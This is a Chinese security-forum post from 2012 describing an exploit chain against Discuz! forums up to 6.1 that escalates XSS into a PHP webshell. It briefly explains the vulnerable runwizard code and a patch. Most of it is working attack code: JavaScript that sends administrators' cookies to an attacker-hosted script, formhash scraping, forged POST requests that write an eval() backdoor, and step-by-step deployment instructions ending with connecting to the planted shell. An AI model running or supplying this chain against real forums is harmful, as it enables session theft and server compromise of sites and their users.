找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3840|回复: 0
打印 上一主题 下一主题

Discuz XSS得webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:11:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Discuz XSS得webshell
: Y9 R( ~  H5 b4 e2 CBy racle @tian6.com
; G% H% m# ?" ^" E8 ~' Y欢迎转帖.但请保留版权信息.
4 x8 a! {% O1 l) |1 I# a: ~  a' T受影响版本iscuz<=6.1.0,gbk+utf+big5
3 _1 m7 L" X) y4 @2 I2 y8 }& {1 v
新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.
3 K9 a$ l. N* |+ z$ i$ b- n# r
4 Y3 i/ h" G. I7 H8 q# N; t) E
' Q' D2 p( I' j2 _3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=87063 L: H6 _/ l" l% P! T6 K7 o
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.' A0 d# @5 m' O
* y6 {, T# g& m5 n" ]
分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..; i/ A2 w$ R$ {7 o2 w+ w
本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS& m: B& k4 N/ Q0 {3 I) g* s
: v/ j) K2 v$ x9 }. S) o$ `! W
, Z  \" G( @6 v0 m# r
----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------* Y, E: r2 Q5 s8 n

) C4 k$ H: l, ?3 K2 h, L! y
/ Q) }! E5 T' X( i0 [problem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.. S# w; K' Z9 f. m

2 b3 g" O/ X8 p! v: _, K6 zproblem2ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.
* v% w6 j# i1 l  [  c
* {# K# {3 b7 x! m0 k9 Cproblem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.' G6 r1 M( e% P! U2 Q

1 v( |6 J1 O" K7 \* C$ h% }& T% O7 G: S
下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {; s: g! g# F( @
( }9 [4 F/ K7 {9 o) ~
        global $runwizardfile, $runwizardhistory;" K% f9 Z2 U  N2 h, A) ^; ^
8 T2 y  r- b7 l1 j/ t' D
        $fp = fopen($runwizardfile, 'w');- l5 O" J7 B! q$ Z0 Y7 I

1 a6 a) }# [6 Y/ h7 ^        fwrite($fp, serialize($runwizardhistory));- G, G2 X. G9 n' R  l; w! B. ~

) z* U7 R( \9 o, |        fclose($fp);0 |7 I1 N& [  @; z

# g1 g( F5 c) }! L' k9 P4 C}: p  H* g5 T4 {  v* X8 Y; X# m- ]  |- t
复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.; ?/ b3 q( Z/ P0 m
以下是修补的办法:function saverunwizardhistory() {
/ B+ ], a5 B  e+ b! x, z  c9 y/ I- ^3 [8 E$ Y
        global $runwizardfile, $runwizardhistory;
; E5 P+ B0 Z( H, m0 c) I' A, K0 b, f9 H, y1 h
        $fp = fopen($runwizardfile, 'w');/ e! d4 \3 n: M$ V7 e. y+ k3 k( a
4 s* i& c* y& x( E
        $s = '<?php exit;?>';: |. Y% Q6 i# F/ e
6 g* F, s  j5 C9 \( Y& V, b9 `
        $s .= serialize($runwizardhistory);* I5 D# L/ k3 I% N) a
' Q- H/ R. o5 e$ w3 S0 a8 ^6 w
        fwrite($fp, $s);
5 E; X9 C# X! h3 }6 w# r+ s' Y* k, ]. N/ s$ v* ^+ Q, s7 b+ U' I2 O
        fclose($fp);. E& H) `3 J% b: q8 C  H

. T' {& Y% ?& N- s}9 V9 b3 u/ Q4 s8 z# {8 L; F
复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.0 F/ b0 E1 C$ B* N  P

8 F; n7 f/ h2 v) e0 n. U
/ `- J5 x0 f* l: T& L& z
1 D# M! F$ A2 K. F2 B& z* a9 `----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------
. N! g# k" ^/ C3 Z1 \) L  Q. H/ n" V/ E( m1 y/ s- u, d5 F

1 N! c1 y$ c, g$ i( {" J  以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.
3 s" d/ [9 g8 p/ m7 Z6 R  G, A% k' [6 Z, ?, M0 q
我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL., Z  l+ f* b. j3 Z) h: h: C

- w& w% h9 U$ i. z9 c这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.
; }9 e. W! _+ A/ Z/ |' s2 g8 S( ]$ W  x- N: ]
首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:5 i; e8 h9 R+ R. M6 m7 b6 J

; `4 X6 B. H. ivar url="http://目标网站/admincp.php";      
3 B4 D. U9 `+ }$ [1 @9 h) t2 M6 w: ^. {
/*获得cookies*/, d; m" A. X& g  c0 f! P1 c  S
9 _! `* U( m: n4 n( E4 s1 R
function getURL(s) {
9 e4 M, a+ [- x
1 M% w& T+ W7 }% ]3 V: Ovar image = new Image();4 h; s) ^! E# T. {0 ?3 H

) R. [. b* T7 w4 c( B6 F" b: Simage.style.width = 0;: o9 s# h" m6 Y0 V3 \: ^. Q

+ }4 O! q/ z$ w5 k% E0 o; rimage.style.height = 0;3 v; ]. c4 X# k7 i0 B
3 U. Z1 C! T- d1 s! {
image.src = s;/ \8 X( a2 _' G5 B; w

" h! g0 g! a/ e: W4 i}
# F. s/ a: P; {' T! b- s5 y
0 o3 _. i5 l. d$ a5 j; `, MgetURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie));  //这里就通过image变量传给了php
$ K( @# J5 R- D* ^. n# }0 \复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];
0 ~" j9 k% @  T% {8 Y. w1 k: `复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵)
6 I, L  b. t' q$ _' M, u$ f4 c
3 d) I! k$ H9 i8 O' |5 J) Q% W# |, N( f+ d* [  X/ {! X; C' _
获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";) M9 j' R* t, u, q; y

2 `( b7 I) d+ M6 ^4 D+ W( A/ a0 s1 B: [1 Y4 o  m0 H
0 b" \' V( h' {
/*hash*/8 E" m: |0 f: r& [

8 w; e: y* Z, h& _, Hvar xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");# \; L( W% X$ w# F/ o4 y) Z
, P4 h" K4 O! s
xmlHttpReq.open("GET", url+"admincp.php?action=home", false);% q7 i! e7 V6 O" J/ L. t0 z6 j9 q0 f! M
" u; B* e0 N% i  {
xmlHttpReq.send();
9 K9 O( G( e& J: ?
* v& r6 a+ U% Xvar resource = xmlHttpReq.responseText;) T* ~1 l( @: c" S3 j2 x" q, ~9 O; t

4 c0 e% B5 ~9 y, d( i& ~var numero = resource.search(/formhash/);
/ _% d. o" A3 z( k; Q  |
! }1 U% ~2 l. E' n: b+ E6 A6 R: Zvar formhash=encodeURIComponent(resource.substr(numero+17,8));- R$ k8 T! h3 k
- `6 ^5 }9 `& Z' m0 @8 k6 E2 Q
! I$ _% B! \7 Z
1 {/ p! x3 E5 C2 ?, K) [
var post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据
) |7 `/ M% _; z) r  N, }
; n' O) z8 A, QxmlHttpReq.open("OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信 8 r0 m5 c4 P, |1 s4 w  Y" Q9 }

  u+ A8 t1 z0 t0 TxmlHttpReq.setRequestHeader("Referer", url);
. {/ s) f" ^) I9 C# Y; B5 H) O" H" n" t, L( y5 a+ P
xmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");$ k, {- Y( Y, N, E) D& A
7 o/ y) i) U  K$ D# r0 s
xmlHttpReq.setrequestheader("content-length",post.length);
) \% l6 z0 m# w  T5 o0 j0 f, G3 W2 M( ]
xmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded"); ! d: I2 a$ ^6 c( _. d

1 [& Z, |1 m* r) e# axmlHttpReq.send(post);//发送数据
0 _4 I; V7 ]' a$ a+ p- {复制代码这里HASH我假设正确,这样提交,也无须cookies- T8 t/ L% ]' G' M7 p! x' m9 v
& D7 a  j6 [1 e' W
再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);
" O9 _: O) v% }8 R, {
& R& m+ E" }7 Z$ Uif (!$sock) die("$errstr ($errno)\n");2 e4 @" i' J4 c- V% [+ M) M

7 w4 _: T- B1 V+ L) }( L+ O& t( I$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';8 R( \) G6 D" y) V4 ?' v
+ T; m* [9 t4 a# `& X. ~2 C* r

! z8 t  e+ B/ i8 N7 Q
  s; S0 Y4 f. F5 {fwrite($sock, "OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");
- `, h* U! o+ f5 \# I  ?# |
! `- w) Q4 x" |" {* |& ~* a7 G3 Y8 Nfwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");
3 [6 n9 l( j0 C' K4 q- }, h/ Q4 U8 B7 k+ r! K6 q
fwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");9 d% F1 W  ]9 c8 E. n' j; J

0 B" ?1 v) l& T+ A( l3 @fwrite($sock, "Accept-Language: zh-cn\r\n");; [. i/ ?# y& {7 _# t
* J8 T% e7 t9 T' e0 p- p, }
fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");' X' F- ?3 [2 O7 ?9 I

8 z, d4 z& O% Y4 Qfwrite($sock, "Accept-Encoding: gzip, deflate\r\n");
. f1 @! U5 F8 l, J; X% n) s& Q
8 Q; V* O% T( [/ _0 j9 m$ ufwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");" K2 X; X# q0 i; j; J" Q- {1 J

' X4 {+ A0 H3 D, X4 ]/ jfwrite($sock, "Host: $url\r\n");0 V% e" i+ W# i9 z4 j; v' Y

2 X& k$ E' i- o$ a/ kfwrite($sock, "Content-Length: ".strlen($data)."\r\n");
% J3 ^* z1 F7 L7 L  Y
/ X# F# \. N: p6 S+ B2 {fwrite($sock, "Connection: Keep-Alive\r\n");2 G$ d; b" n3 n3 ^) t" X* ^7 M
4 E; b0 H- S9 ?$ p0 X
fwrite($sock, "Cache-Control: no-cache\r\n");
5 k) R" K" N) H
  L) q0 j+ T# Q* rfwrite($sock, "Cookie:".$cookies."\r\n\r\n");
& n7 n+ j% W+ g* l6 A
' g0 Z1 a) b) B. H! zfwrite($sock, $data);
) V0 G- \: s0 `+ S1 J  u! x0 D' D+ `7 \$ z( n8 _7 I1 w

' q: a! R0 B( }/ m+ m; Y% C/ V* D$ e  t+ B0 D
$headers = "";5 N; J- J. g' g+ B

1 z3 c8 w* a1 p! s! cwhile ($str = trim(fgets($sock, 4096)))/ K8 }# [/ m9 R5 a, |7 z0 c
: M# i9 P% ]1 v% y* A. a- E
     $headers .= "$str\n";9 o0 `  Y& K+ Q. y" W: S

) l; @* e0 \0 o# d3 s7 Oecho "\n";* \+ K. Y9 x% e* U$ Z% {. b

7 {2 R- y. J3 q# V( I6 z( ]$body = "";6 E# x/ x5 V( i. `( R

# B5 I5 l0 a  h. S/ d+ q( F8 [while (!feof($sock))! ^5 A2 N9 D0 M( ^1 ?+ ?
4 W6 t- z7 v: R2 Y
     $body .= fgets($sock, 4096);1 \. g, h6 q" j. f2 q
, w/ H7 ~# u' e3 F) t4 T# _$ s
fclose($sock);
! m- |6 Y2 H4 U+ I) ~% |7 Q4 f8 Y$ b
9 ]3 R1 o1 m: J+ r; xecho $body;
0 r' e, j, c, a4 a+ O复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^) u+ m& H% x# h' i( c+ M

" `5 q4 K$ G$ }5 M- I, v  I# w
# |- x$ h  i, u-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------
2 {: q: W/ V) [! Z! V- {. z4 [6 c$ Z) c0 G- m# F& m

) ?2 g, X/ \9 `  J  l4 P/ ?1HP SOCKET利用方法首先打开racle.js
4 x, O& t9 W/ @% t& k" ]* S9 P: G( C7 U7 s5 d% {
var url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home
* O0 W% I3 Q3 n2 P8 P0 B$ q: b5 t" N4 t4 `! N0 @; f

( o/ E' N, e! J. W# O3 j' d
9 }6 Q; _! O  {( u然后打开racle@tian6.php1 q5 E1 T" ^: H2 e

! q( f5 ]* Y5 z( Z$url="racle@tian6.com";   //改成你要XSS攻击的目标,譬如www.discuz.com
3 K! S0 d- \+ L" W- M$ J6 w8 }/ {& Y8 {: b
+ E3 k& u0 k% h( R1 \

3 F  c" W2 E3 Z/ |1 X( Q! R# S( [如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
: g2 E( |0 }( Q5 e
" G5 [& a) j- Z/ [8 C) MgetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));
* D2 b8 U( j' }; @( T* {5 f2 j3 B& m- F/ ~

" D" B3 i# j! ^* b* R8 r  I" i: S2 [
- |% W$ t. V3 O+ b! I: ]+ X( U& kgetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));# L: q- ]; Q; i, k: Y
复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.
2 X& A. c& v& e4 A& L9 ]* n2 s1 R1 W+ ^

) D( P2 w/ _$ [2 L9 d; \8 X+ `, B. A' M% \9 j
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:) O5 l$ i) ?5 e) z; V8 w

+ v8 x5 @3 [: U1 b0 m, Lvar formhash=encodeURIComponent(resource.substr(numero+17,8));# F# f2 \- P8 p/ j' t" T
, W+ R" F& s+ f8 A$ j* l; ]& a
7 X/ \* C' K, U! Q- D. V
, k5 w+ Q& Z# I' ~- M
var formhash=encodeURIComponent(resource.substr(numero+9,8));
' g+ {. l' i; |7 M( A7 F! T复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.3 M% Q3 F' f$ d# X/ g

5 Q1 W2 B4 _* I* R( R$ [6 C7 U如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.
* F; s# L" x' r4 v5 u6 P/ t6 A5 s: f( M- t9 K, A2 H% A, [
如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.: u6 t* ~/ H/ [8 i8 D

, b! }2 b) V( z不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.
8 |0 W2 L3 I4 S. h5 c- V # W) e3 ^9 t! m: }) Z( D4 [
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表